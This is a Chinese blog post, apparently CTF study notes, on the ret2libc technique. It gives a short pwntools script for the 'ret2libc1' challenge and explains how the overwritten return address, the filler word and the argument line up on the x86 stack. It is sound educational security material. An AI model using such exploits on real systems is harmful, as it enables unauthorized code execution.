すのはら荘春原庄的雪

【PWN】Ret2libc

Toretto·2024-10-21 20:35·4 次阅读

【PWN】Ret2libc

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2libc

1. 有system有binsh#

这种好弄,直接

Copy
from pwn import * sh = process('./ret2libc1') binsh_addr = 0x8048720 system_plt = 0x08048460 payload = flat([b'a' * 112, system_plt, b'b' * 4, binsh_addr]) sh.sendline(payload) sh.interactive()

转载自lexsd6师傅#

image

在溢出数据后,使用libc库中system函数的地址覆盖掉原本的返回地址(这样原函数返回的时候会转而调用system函数),然后跟着是返回地址、参数。所以我们的system后加4个字符(‘p32(0)’)在图中的‘Filler’的位置指代是返回地址。
那么跟的问题也来了,为什么Filler’的位置(‘p(0)’)指代是返回地址?为什么参数跟在返回地址后面?

正常情况下,我们是通过call指令进行函数调用的,因此在进入到system函数之前,call指令已经通过push EIP将其返回地址push到栈帧中了,所以在正常情况下ret指令pop到EIP的数据就是之前call指令push到栈帧的数据,也就是说两者是成对的。但是在我们的利用漏洞攻击中,直接通过覆盖EIP地址跳转到了system函数,而并没有经过call调用,也即是没有push EIP的操作,但是system函数却照常进行了ret指令的pop EIP操作。此时的ESP指向了Filler,所以根据栈的‘后进先出’的原则在栈顶(ESP)的Filler会被pop出保存在EIP中。而EIP作用是保存的是返回地址,所以Filler就成了返回地址。
image

同时我们在进行漏洞攻击中,与正常函数相比就只少了‘进入到system函数之前,call指令已经通过push EIP将其返回地址push到栈帧中’这一步骤,因此参数还是正常的跟在返回地址后面。

posted @   vstral  阅读(4)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
目录